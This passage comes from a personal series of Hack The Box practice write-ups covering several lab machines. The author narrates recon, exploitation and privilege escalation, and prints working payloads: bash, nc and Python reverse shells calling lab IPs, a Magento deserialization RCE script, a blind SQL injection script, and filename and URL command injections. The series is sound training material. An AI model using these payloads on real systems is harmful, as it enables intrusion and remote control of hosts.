was not open.\nI checked all of it.\nssh had nothing. Port 80 had a manual page, and brute-forcing did not reveal anything either.\nI looked into irc; just launch hexchat.\nThe list contained nothing. I checked every port; they all exposed the same service.\nWhile brute-forcing port 80, I also checked for framework vulnerabilities. Only UnrealIRCd had one.\nI read the code. It was a perl script where you just fill in the parameters, and it was not difficult to understand.\nNone of the included URLs worked anymore, so just construct the payload yourself.\nbash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.19/9999 \u0026lt;\u0026amp;1'\nI sent the payload to all three ports with no effect at all. I searched for ages afterward and could not find anything. I was completely out of options.\nI checked a write-up, and it used this exact payload. I tried again, and it still did not work.\nOnly later did I learn that everyone either sent it manually or wrote their own script. Mine simply would not connect because the script had a bug.\nSometimes, when a simple exp does not work, you can construct it manually.\nI learned my lesson: I could not use the included script. There was also an msf exp, but it is best not to use that for oscp.\nLet\u0026rsquo;s read the code and see how to construct it manually.\nIn this section, a tcp socket connects to the target ip/port, and reports an error if the connection fails.\nOnce connected, it calls the socket to send data, which is the previous payload. Leave its payload as unchanged as possible and simply add AB; in front.\nSuccessfully connected.\nThe target was far too slow. The perl script sends the exp as soon as it connects, but how could it execute immediately? It needs to wait. I suspected the lag was the problem, and adding a sleep made the script work after all.\nSure enough.\nI still had not analyzed it thoroughly enough.\nI wasted a great deal of time here. The exp author probably did not account for this.\nNow start privilege escalation. First, open another shell.\nbash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.13/6666 \u0026lt;\u0026amp;1\u0026rsquo; \u0026gt; cmd.out 2\u0026gt;\u0026amp;1 \u0026amp;\nI reviewed every conf file in the current directory but found no useful information.\nThere was also a djmardov home directory, so I most likely needed to pivot to that user.\nI found an exp based on the version, but it had no effect.\nLinEnum.sh found nothing, so I will not include an image.\npspy32 did not reveal anything interesting either.\nAn interesting conventional privilege-escalation route: su could not be used and sudo did not exist. Based on su\u0026rsquo;s message, we needed to log in through a terminal. My rough idea was to write a private key and see whether that worked.\nThe configuration was fine, and the file was writable.\nGenerate a public/private key pair.\nRename the public key and upload it to the server. The name must be the default, authorized_keys.\nThe connection failed, so I debugged it.\nIt was a version issue. Generate the key pair again.\nssh-keygen -t rsa -t ed25519 -f ./new_temp\nSuccessfully connected.\nGood. Now I still needed a password.\nEventually I found this.\nuser.txt was inaccessible, and its target was also user.txt in the parent directory.\nBased on the steg hint, I had tried using this to access the large image at the very beginning, but it did not work. Let\u0026rsquo;s try again.\nThere was no password and nothing came out, so I ignored it.\nFound the password.\nLinEnum.sh found a service I had never seen before, and it had the s permission.\nForging the file worked, giving root privileges.\nThat completed it. None of the tool-related parts were difficult because I already knew how to use them. I still need to improve my thought process. On machines like this, every piece of information has to be collected, but sometimes collecting too much makes everything look suspicious. I need to be more careful.\n9.FriendZone Information gathering:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 53/tcp open domain 80/tcp open http |_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. | http-enum: | /wordpress/: Blog |_ /robots.txt: Robots file |_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 139/tcp open netbios-ssn 443/tcp open https |_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. |_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. |_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 445/tcp open microsoft-ds I finished testing everything. Here are the conclusions.\n21 did not allow anonymous login and offered no entry point.\n22 offered no entry point.\n53 was a dns server. I could test domain names and similar things later. On machines like those in oscp, every service has a purpose.\n80 contained an empty wordpress site and revealed one domain: friendzoneportal.red\n139/445 exposed a samba service. Try connecting to it.\n443 exposed an https service, but there was nothing there.\nsamba contained an unauthenticated shared file with the following contents.\n1 2 3 creds for the admin THING: admin:WORKWORKHhallelujah@# This password did not work for ssh, ftp, or samba.\nI had just collected a domain name. With the suffix now known, add it to hosts.\nfriendzoneportal.red\nThere was nothing there. The dns server could help us look it up, so send a request directly.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 dig @10.10.10.123 friendzoneportal.red AXFR This command returns records for the entire DNS zone, including A, AAAA, CNAME, and MX records, plus subdomain information. ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.18.12-1-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; @10.10.10.123 friendzoneportal.red AXFR ; (1 server found) ;; global options: +cmd friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzoneportal.red. 604800 IN AAAA ::1 friendzoneportal.red. 604800 IN NS localhost. friendzoneportal.red. 604800 IN A 127.0.0.1 admin.friendzoneportal.red. 604800 IN A 127.0.0.1 files.friendzoneportal.red. 604800 IN A 127.0.0.1 imports.friendzoneportal.red. 604800 IN A 127.0.0.1 vpn.friendzoneportal.red. 604800 IN A 127.0.0.1 friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 ;; Query time: 660 msec ;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP) ;; WHEN: Mon Sep 30 08:07:05 EDT 2024 ;; XFR size: 9 records (messages 1, bytes 309) admin.friendzoneportal.red allowed a login.\nGoing back to look at the title, friendzone.red revealed something else.\nadministrator1.friendzone.red accepted the login, and there was some content inside.\nLooking into it later, this was actually a local php file, which is why it could be called. This was an obvious lfi.\nStart testing.\nSince adding a name made it accessible, the application was probably appending .php. I could not access /etc/passwd or anything else, so use a php wrapper to view the source.\nIt did indeed append .php.\nI also read the other files, but they contained nothing useful. All that was missing now was a way to write a file, although if I could write a php file, this point would seemingly be unnecessary.\nI checked uploads.friendzone.red. It always reported a successful upload, but nothing appeared.\nI read the code directly.\nNo wonder.\nHaving reached this point, there should not have been any real problem. All I lacked was permission to write a file. I suddenly remembered that ftp could write files, and more importantly, samba had a writable directory.\nI had no credentials for ftp, so that was not an option, but samba would work.\nThe upload succeeded. Based on the image below, I guessed that it was probably under /etc.\nhttps://administrator1.friendzone.red/dashboard.php?image_id=a.jpg\u0026amp;pagename=/etc/Development/1\nFinally got a foothold.\nGather more information:\n1 2 3 4 5 6 7 for development process this is the mysql creds for user friend db_user=friend db_pass=Agpyu12!0.213$ db_name=FZ At the start of this step I had not yet uploaded and run a script, but I found friend\u0026rsquo;s mysql password.\nI also found a user named friend under home.\nsu did not work directly. Create a tty, and then su can switch to friend.\npython -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo;\nsudo -l was unavailable. Just connect directly with ssh.\nAll right, I misread it. It meant that friend was banned from using sudo.\nI thought conventional privilege escalation would finish this. Just upload a script and run a scan.\n1 2 3 4 5 6 7 8 root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf -rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh -rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh -rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh -rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf -rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf -rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm -rw-rw---- 1 friend mail 1 Jan 15 2019 friend There really was nothing useful. Let\u0026rsquo;s check the processes. Several privilege-escalation routes I had found so far involved scheduled tasks that I could not see, but they would be visible in the process list.\nThere really was a scheduled task.\nEverything was commented out, but it mentioned an SMTP service for sending email.\nI also saw user set to you and pass set to PAPAP.\nAfter finishing collection, I continued searching and found something very interesting.\nThis basically confirmed it. Importing os.py would trigger the main function inside os. I had encountered this many times while coding before; just add something to it. Under the hood, os.py calls posixmodule.c, and that file has no system function. Just find a python reverse-shell script. Putting it in the main function will naturally cause it to be called.\nEverything I found imported os, so I just needed one that did not use os.\nFinding a script took a long time, but I eventually found one.\n1 2 3 4 5 6 7 import socket import subprocess import pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((\u0026#34;10.10.16.13\u0026#34;, 6666)) s_dup = s.fileno() subprocess.call([\u0026#34;/bin/sh\u0026#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup) The reverse shell connected successfully.\nThat finally completed it. I learned a lot about the thought process here as well. Just keep practicing.\n10.SwagShop Information gathering:\nThis was clearly a cms framework. Search for it immediately, identify the target version, and check for default credentials at the same time.\nThese exp could not find the endpoint, so they could not be used.\nDirectory brute-forcing revealed an interesting location.\nEvery uploaded session was recorded. I started by brute-forcing to see whether any historical session could be used to log in.\nThere was another approach. If I left the site alone and the target\u0026rsquo;s backend had a scheduled task, it would naturally log in automatically. I could keep refreshing without a cookie and then check which cookie was the newest.\nThere was absolutely nothing. I waited around 10 minutes to see whether a scheduled task would upload a session.\nThere was still no scheduled task activity.\nHowever, the session files could be opened. I could brute-force the session files directly and inspect their contents, filtering them one by one as long as the ip was not mine.\nThere were actually many more, but I will not list them all.\nThey contained many cookies and endpoints, but even after using those cookies and changing the ua, I still could not access anything.\nI wondered whether the cookie had expired, but found that the session could record things that had previously been accessed. At the same time, I found this.\nTry logging in once with anything and see how it records the credentials.\nI could not log in at all.\nWhile searching for the hash, I found a report whose path closely resembled the searchsploit script I had found.\nThis article was written in 2015, when the vulnerability was still considered a 0day.\nhttps://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html\nIt felt like everything was hinting that I should use an exp, but I did not actually know the exact version of this cms.\nThis was the poc. I had forgotten this approach: if no version information can be found, perhaps the wordlist is simply not strong enough, and you can try an nday directly.\nIt worked. The script had a bug.\nDelete the uncommented part and add the domain yourself. Another important point is that index.php must be appended for the include to work; otherwise the path cannot be resolved.\nFinally got into the admin backend.\nI actually had another code-execution script here, 37811, which I found during the earlier search. It could not log in without a username and password. Now I could modify the code and see whether it could get a shell.\nThis was where the script\u0026rsquo;s problem lay. Its request could never obtain the key. The intended approach was to append the key to the discovered url path and enter the backend directly. Delete all the earlier login code and pass it the key and url instead.\nThis was extremely difficult to sort out. I had no choice but to audit the code, and eventually finished it.\nThe two values needed for a successful login were on this home page.\nRight on the home page.\nThe second value was also on the home page. Just switch over and capture the traffic.\nUpdate the date.\nConstructing the payload with the wrong type caused the script to hang; it had to be a bytes-like object rather than a str. I modified the original code and constructed it with Python 2.\nActually, just remove this:\nThe code failed entirely because the login here did not succeed, which caused everything afterward to fail. Delete it, fix everything, and running it directly produces the result.\nI spent a great deal of time debugging this script. I had never used mechanize before, and if I reused it directly with python3, its regular expression had to be rewritten. If I simply inserted the required parameters myself, it also reported an error. It was ridiculous.\nIn particular, the final request and encryption had to be done with python2 because python2 and 3 generate base64 differently.\nAfter reviewing everything and finally getting it to execute successfully, the easiest method was simply to find the tunnel parameter yourself. That was very easy.\nFor the payload, add the parameters yourself and let it generate the payload locally. Then just concatenate the url and visit it yourself.\nAdding parameters to the script below directly produces the exp.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from hashlib import md5 import sys import re import base64 import mechanize arg = \u0026#34;whoami\u0026#34; php_function = \u0026#39;system\u0026#39; # Note: we can only pass 1 argument to the function install_date = \u0026#39;Wed, 08 May 2019 07:23:09 +0000\u0026#39; # This needs to be the exact date from /app/etc/local.xml # POP chain to pivot into call_user_exec payload = \u0026#39;O:8:\\\u0026#34;Zend_Log\\\u0026#34;:1:{s:11:\\\u0026#34;\\00*\\00_writers\\\u0026#34;;a:2:{i:0;O:20:\\\u0026#34;Zend_Log_Writer_Mail\\\u0026#34;:4:{s:16:\u0026#39; \\ \u0026#39;\\\u0026#34;\\00*\\00_eventsToMail\\\u0026#34;;a:3:{i:0;s:11:\\\u0026#34;EXTERMINATE\\\u0026#34;;i:1;s:12:\\\u0026#34;EXTERMINATE!\\\u0026#34;;i:2;s:15:\\\u0026#34;\u0026#39; \\ \u0026#39;EXTERMINATE!!!!\\\u0026#34;;}s:22:\\\u0026#34;\\00*\\00_subjectPrependText\\\u0026#34;;N;s:10:\\\u0026#34;\\00*\\00_layout\\\u0026#34;;O:23:\\\u0026#34;\u0026#39; \\ \u0026#39;Zend_Config_Writer_Yaml\\\u0026#34;:3:{s:15:\\\u0026#34;\\00*\\00_yamlEncoder\\\u0026#34;;s:%d:\\\u0026#34;%s\\\u0026#34;;s:17:\\\u0026#34;\\00*\\00\u0026#39; \\ \u0026#39;_loadedSection\\\u0026#34;;N;s:10:\\\u0026#34;\\00*\\00_config\\\u0026#34;;O:13:\\\u0026#34;Varien_Object\\\u0026#34;:1:{s:8:\\\u0026#34;\\00*\\00_data\\\u0026#34;\u0026#39; \\ \u0026#39;;s:%d:\\\u0026#34;%s\\\u0026#34;;}}s:8:\\\u0026#34;\\00*\\00_mail\\\u0026#34;;O:9:\\\u0026#34;Zend_Mail\\\u0026#34;:0:{}}i:1;i:2;}}\u0026#39; % (len(php_function), php_function, len(arg), arg) tunnel = \u0026#34;http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/\u0026#34; payload = base64.b64encode(payload) gh = md5(payload + install_date).hexdigest() exploit = tunnel + \u0026#39;?ga=\u0026#39; + payload + \u0026#39;\u0026amp;h=\u0026#39; + gh print exploit arg is the command you want to execute.\ninstall_date comes from /app/etc/local.xml.\nAfter obtaining tunnel, keep only the key and delete everything after it.\nJust visit the URL produced as exploit.\nA bash reverse shell did not work in testing, so I used nc and got a connection back.\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.0.0.1 1234 \u0026gt;/tmp/f\nGetting the initial external foothold here demanded a fairly high level of code-auditing skill.\nPrivilege-escalation information gathering:\nI originally thought I needed to escalate to haris, but one look at sudo -l revealed a conventional privilege-escalation path.\nsudo /usr/bin/vi /var/www/html/api.php\nEnter :!/bin/sh directly.\nOverall, the hard part was not that the cms itself was especially difficult, but that it was so old. I had to modify scripts and audit code myself. At first I thought the code was written too abstractly, but looking at it later, it was actually correct; there were simply too many things to determine. Most of the time was spent obtaining the initial external foothold.\n11.Networked Information gathering:\nI\u0026rsquo;ll get straight to the point: there wasn\u0026rsquo;t much here. It was mainly a code audit.\nI reviewed all three files from start to finish and found no vulnerabilities at all. The only thing I noticed was its rather distinctive file-naming scheme.\nThere was still nothing after the audit, so I had no choice but to read a write-up. It was a bit mind-blowing.\nhttps://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php\nhttps://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0\nhttps://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html\nI don\u0026rsquo;t know whether the box is just too old or what, but this was my first time seeing this kind of bypass.\nThere was actually a hint, though.\nWhen you see an obvious API function as a hint, search for vulnerabilities in it directly.\nAnother lesson learned. The conclusion from those links above is this:\nYou only need to fool the code by uploading a php.gif file containing PHP. The server will then automatically parse it as PHP code.\nPretty ridiculous.\nLet\u0026rsquo;s just pop a shell.\nTime for privilege escalation and information gathering.\nI found an obvious privilege-escalation path in the home directory.\nThis scheduled task runs every three minutes, probably as guly. I could upload pspy32 to check, but there was no need.\nIt takes a value, and that value can be appended inside exec.\nSo all we need is command concatenation: nohup /bin/rm -f $path$value \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\nWe know path is /var/www/html/uploads/, while value is one of the files below it.\nUnder uploads, run touch \u0026ldquo;1;nc -c sh 10.10.16.13 6666 \u0026amp;\u0026rdquo;\nThat will send a shell back.\nNo problem.\nStandard privilege-escalation enumeration. Let\u0026rsquo;s see what this file is.\nI read through it but couldn\u0026rsquo;t find a problem, so I Googled the configuration name directly.\nhttps://seclists.org/fulldisclosure/2019/Apr/24\nSwitch users directly at NAME and see what happens.\nDone. At first I thought this would be pure code auditing. After spending ages on it, I didn\u0026rsquo;t expect this kind of box to lean more toward exploit use and search skills. In the future, whenever I encounter a hint or a framework, I should search for a payload immediately.\n12.Jarvis Information gathering:\nI probably shouldn\u0026rsquo;t scan it, or I\u0026rsquo;ll get banned.\nAdd both domains to hosts.\nAdding the domains didn\u0026rsquo;t seem to change anything. Let\u0026rsquo;s keep looking.\nIt seems that as long as I don\u0026rsquo;t attack port 64999, I won\u0026rsquo;t get banned. I even ran directory brute-forcing without a problem. This banning mechanism is strange; perhaps something nmap does triggers it.\nI found an obvious injection point. OSCP doesn\u0026rsquo;t allow tools such as sqlmap, so I\u0026rsquo;ll test it manually.\nAt this point I didn\u0026rsquo;t know the absolute path. Testing showed the current user wasn\u0026rsquo;t root, and I didn\u0026rsquo;t know whether it had write permission or what the absolute path was.\nAll of those factors prevented me from writing a shell, but I found a phpmyadmin instance.\nhttp://supersecurehotel.htb/phpmyadmin/index.php\nThe path forward was clear: extract the current user\u0026rsquo;s username and password, then log in and take a look.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requests headers = { \u0026#39;Host\u0026#39;: \u0026#39;10.10.10.143\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;en-US,en;q=0.5\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;close\u0026#39;, \u0026#39;Cookie\u0026#39;: \u0026#39;PHPSESSID=2c1jempek07j9n0fdtce3bcgn7\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39; } a = open(\u0026#39;2.txt\u0026#39;,\u0026#39;r\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).readlines() print(\u0026#34;start\u0026#34;) for number in range(1,18): for i in a: temp = i.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) url = f\u0026#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+\u0026#34; response = requests.get(url=url, headers=headers) if response.status_code == 200 and len(response.text) \u0026gt; 6200: print(temp, end=\u0026#39;\u0026#39;, flush=True) break a = open(\u0026#39;3.txt\u0026#39;,\u0026#39;r\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).readlines() print(\u0026#34;start\u0026#34;) for number in range(2,1000): for i in a: temp = i.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) url = f\u0026#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+\u0026#34; print(url) response = requests.get(url=url, headers=headers) print(response.status_code) print(len(response.text)) if response.status_code == 200 and len(response.text) \u0026gt; 6200: print(temp, end=\u0026#39;\u0026#39;, flush=True) break I wrote a script.\n2.txt contains uppercase letters (A-Z), lowercase letters (a-z), digits (0-9), _, and -.\n3.txt contains possible password characters. The first character is definitely * and is useless; everything after it is made up of characters, so a character dictionary is enough.\nIf you use select user() to retrieve the account, it will have @localhost appended.\nCrack it.\nSuccessfully logged in.\nThe version is 4.8.0, so just find a matching exploit.\n50457 looks usable.\nThere are plenty of vulnerabilities once you can access the phpMyAdmin backend. Command execution succeeded.\nThe shell came back.\nTime for privilege escalation. My plan was to stop focusing on the website: I already had the current user\u0026rsquo;s credentials, the site had nothing else, and there was no need to inspect its configuration files.\nThere is a log under the pepper directory that records our attacks.\nLet\u0026rsquo;s do the usual privilege-escalation checks. There is still something here.\nThis is the path forward. Let\u0026rsquo;s inspect it.\nFirst upload pspy32 and monitor processes in another window, then come back to this. I mainly wanted to catch anything unexpected; if I finished this first, I might miss some processes.\nI found several interesting things.\nBut let\u0026rsquo;s keep monitoring and inspect that file from earlier first.\nI found the key point.\nPass -p as the first argument.\nLooking back at the function, it filters the input and rejects concatenation characters. I couldn\u0026rsquo;t think of a bypass.\nBased on previous boxes, this time I thought to Google it directly using English terms.\nhttps://security.stackexchange.com/questions/219605/command-injection-filtering-bypass\nThat led me to a useful article.\nsudo -u pepper /var/www/Admin-Utilities/simpler.py -p\n127.0.0.1$(cat /home/pepper/user.txt \u0026gt;/tmp/2)\n10.10.66.66$(cat /home/pepper/user.txt)\nLet\u0026rsquo;s test command concatenation.\nBoth work: one writes directly to a file, while the other causes an error and prints the output.\nSuccessfully read the file. Time to escalate privileges.\nI tried many things here before coming up with a good approach. It rejects -, but every reverse-shell method needs it. Switching users with su also failed because it required a password.\nWrite the reverse-shell command directly into a file: echo \u0026ldquo;bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.13/6661\u0026rsquo;\u0026rdquo; \u0026gt; /tmp/1.sh\nThen call it directly through command concatenation:\n10.10.66.66$(sh /tmp/1.sh)\nThe shell connected back successfully, but there was another problem: this new shell depended on the old one to stay alive. If the old shell disconnected or anything happened to it, the new one became completely useless. The reverse-shell script itself must have been flawed.\nSwitching to a Python script fixed it.\n1 \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;10.10.10.10\u0026#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026#34;sh\u0026#34;)\u0026#39; Write it to /tmp/2.py and run it to get a shell back.\nThe standard privilege-escalation checks didn\u0026rsquo;t seem to lead anywhere.\nLooking back at pspy32, I didn\u0026rsquo;t see any scheduled tasks. There were only two files running under /root, but I had no permission to inspect them.\nJust upload an enumeration script and scan.\nThe information above is what I collected. The final privilege-escalation path is obviously here.\nI found a method, although it was a bit awkward to use. This article explains it well, and I eventually escalated privileges successfully.\nhttps://www.cnblogs.com/zlgxzswjy/p/14781471.html\nThat\u0026rsquo;s the end. I learned quite a lot from this one, but unlike the previous boxes, I never got completely stuck; every step was solvable.\nTime to read a write-up.\nThis step used UNION injection and the same method that writes a shell.\nThe rest of my approach was mostly fine.\n13.Mirai Information gathering:\nNothing on port 22.\nPort 53 had no domain name, so it couldn\u0026rsquo;t be resolved.\nPort 80 had an admin page, a version page, and a short message.\nFilter out responses of length 61 and continue directory brute-forcing.\nI couldn\u0026rsquo;t find an exploitable vulnerability. The usable ones all required logging in and obtaining a session. Usually you brute-force while also looking for default credentials.\nThere was nothing on version either. The default credentials are username pi, password raspberry.\nLeave that for now and continue.\nAbsolutely nothing. The only ideas left were SSH and Plex, but Plex was inaccessible. Let\u0026rsquo;s brute-force directories first.\nI got straight in.\nRidiculous.\nAs expected, it wasn\u0026rsquo;t that simple.\nI researched this afterward and started testing based on my own reasoning, since I had never learned about this before.\nI spent a long time doing it the wrong way, and nothing worked.\nEventually I had to read a write-up, where I learned one crucial point.\nFirst: df -h\tmount\tlsblk\nAll three commands show which device is mounted. According to the author\u0026rsquo;s explanation, deleting something after mounting it doesn\u0026rsquo;t mean it has also been erased from the original device.\nOnly this article explained it clearly:\nhttps://0xdf.gitlab.io/2022/05/18/htb-mirai.html\nIn other words, deletion doesn\u0026rsquo;t thoroughly erase the data; it only removes the file system\u0026rsquo;s directory structure. The data is overwritten when new data is written there. Apparently all disks work this way.\ncat, grep, and strings all work because they can all inspect the data in the file.\nNo problem.\ngrep -aPo \u0026lsquo;[a-zA-Z0-9]{32}\u0026rsquo; /dev/sdb\nAnother lesson learned.\nThat\u0026rsquo;s the end. This box broadened my knowledge, and its approach was quite different from the earlier ones. I learned something new.\n14.Popcorn Information gathering:\nPort 22 requires a private key.\nPort 80 has something on it.\nThis was originally test.php. Directory brute-forcing reveals it; I renamed it during testing.\nRegistering grants access to this page, where files can be uploaded. It doesn\u0026rsquo;t seem to restrict file extensions. The only unclear part was where uploaded files went.\nI found an n-day, but according to its description the file should have been under the torrents directory. In reality, it wasn\u0026rsquo;t there.\nI had a good idea here.\nhttp://popcorn.htb/rename/index.php?filename=../torrent/torrents.php\u0026amp;newfilename=../torrent/torrents.txt\nRename it to txt, download it, and audit the code.\nIt worked.\nFinally, I read the PHP files I had found:\ntorrents.php\nupload.php\nconfig.php\nTo get straight to the point, after reading them I found that the naming scheme takes the current torrent file\u0026rsquo;s SHA-1 value and appends .btf to form the filename.\nThe files are stored at http://popcorn.htb/torrent/torrents/\nTherefore, the path of the bundled Kali image was http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf\nWhile reading the code, I encountered something new to me: obtaining a torrent file\u0026rsquo;s SHA-1 value in PHP.\nThis is how it is extracted, and from the subsequent code:\nEverything became obvious. Upload something whose SHA-1 differs from the previous value—download anything from Baidu—add PHP code to it, upload it, and use rename on that filename to get a shell.\nGive it any name and upload it.\nI got it here as well. Now download it and find its hash.\nNo problem at all. Just rename it directly.\nAccess it directly.\nIt threw an error, but at least it could be parsed. The problem was on my side, so I tried again.\nSwitching to another file fixed it.\nTime for privilege escalation.\nThis came from config.php. I had actually read it earlier, but I\u0026rsquo;ll record it again.\nThere is a th_database.sql file under /var/www/torrent/database. Let\u0026rsquo;s transfer it locally and inspect it.\nThere was nothing else.\nadmin/admin12\ntorrent/SuperSecret!!\nsudo didn\u0026rsquo;t work.\nThe home directory contained the torrenthoster.zip source code.\nLet\u0026rsquo;s upload an enumeration script and scan.\nTime to check them one by one.\nmysqld_safe wasn\u0026rsquo;t in a scheduled task and had no SUID bit.\nThe second item suggested that we could run sudo without a password, but it kept asking me for one.\nI had no permission for the third item.\npspy32 didn\u0026rsquo;t show any other processes running.\nI had checked almost everything and found nothing exploitable. The only thing left was torrenthoster.zip in George\u0026rsquo;s directory.\nI downloaded and inspected it, but it had nothing either.\nI was completely stuck. All I knew was that it claimed sudo needed no password, yet it required one whenever I used it.\nThe only option left was searchsploit. I found several scripts and uploaded them one by one to scan.\nThe others wouldn\u0026rsquo;t run, but this one looked interesting. It found everything and merely told us the password was wrong. Let\u0026rsquo;s read the code.\nAfter reading it, I realized it meant exactly what it said: just enter toor.\nPrivilege escalation succeeded. This box was moderately difficult and broadened my thinking.\nDone. Time to read a write-up.\nhttps://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff\nThe privilege-escalation method was different.\nAfter looking at this script, I can only say my search method still needs work. I shouldn\u0026rsquo;t always include ubuntu; searching for the kernel can uncover other things too.\nI also only just remembered this was Dirty COW, one of the most classic privilege-escalation exploits.\nAs for the exploit I used, they found it based on .cache/motd.legal-displayed, while I searched directly by the Ubuntu version.\nMy methodology wasn\u0026rsquo;t complete; I just got lucky. Everything else was much the same. That\u0026rsquo;s the end.\n15.Haircut Information gathering:\nI\u0026rsquo;ll stick to the key points again. There were three sites and an uploads directory.\nThe three sites contained three images and nothing else. I checked every image and found nothing.\nuploads403\nexposed.php had an obvious command-injection vulnerability, since I had encountered it on a previous box.\nIt was $ command injection again. Many things were blocked, but netcat wasn\u0026rsquo;t. A connection attempt produced output, so I started building a reverse-shell payload.\n[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)\nThat pops a shell directly.\nI can feel myself getting increasingly comfortable with these boxes.\nTime for privilege escalation and information gathering.\nFirst spawn a TTY: python3 -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo;\nThe user.txt in Maria\u0026rsquo;s directory differed from the one on the Desktop.\n0b0da2af50e9ab7c81a6ec2c562afeae\n152294df041b51863cc9c7b5a52938f2\t# This is the one Hack The Box accepts\nI ran LinEnum. It reported the kernel version, and I found an exploit for it.\nDone. This box was fairly conventional; it only took me 50 minutes.\nStill, I needed to read a write-up to learn other approaches. They found Screen 4.5.0 through SUID enumeration and escalated privileges with an exploit for it.\nTheir foothold method was to access an HTTP server they controlled and use -o to write the output to a PHP file. I barely found anyone using the same approach as mine.\nScreen 4.5.0 is actually interesting, so I\u0026rsquo;ll give it a try.\nEven without the earlier privilege escalation, this file would have caught my attention. A normal system doesn\u0026rsquo;t include it, and it even displays a version.\npayload\nThe error only says a file is missing.\nIt still failed. Let\u0026rsquo;s read the code.\nIt isn\u0026rsquo;t hard to understand. Compile it myself and then try it on the target.\nThat was a warning, not an error.\nAgain, only a warning. The -static option is mainly added because GCC versions differ and other systems may otherwise produce errors.\nTransfer it to the target and run the commands one by one.\nAs expected, it still failed. After analyzing the code, I realized that I did not understand the vulnerability used by libhax—the low-level details are still a bit beyond me. The exploit changes rootshell\u0026rsquo;s owner to root and sets its permissions to 755, so running rootshell gives us root privileges.\nIt now looked like the problem had always been with libhax, so I investigated it.\nThere was actually no problem. I had mistyped the name: I used libhex.so instead of libhax.so. After correcting it, everything ran normally.\nFollowing the commands successfully gave me root privileges.\nThat\u0026rsquo;s everything.\n16.Blocky Information gathering:\nI\u0026rsquo;ll get straight to the conclusion again.\nThere was no vulnerability on port 21. Version 1.3.5 has an exploit that allows unauthenticated file moves, but after trying three exploits and manually testing and reading the code, I found that this target wasn\u0026rsquo;t vulnerable at all.\nPort 22 revealed no information.\nPort 80 hosted WordPress. I tested WordPress for a long time without success. It also had phpMyAdmin 4.5.4.1, but there were no relevant vulnerabilities.\nWordPress had two users, though that wasn\u0026rsquo;t important.\nThere was nothing else.\nThat left directory brute-forcing, and sure enough it found something. Minecraft is compiled with Java, and I found two JAR files.\nI reversed them directly. I had expected to need a Java code audit, but I didn\u0026rsquo;t.\nThese credentials let me log in to 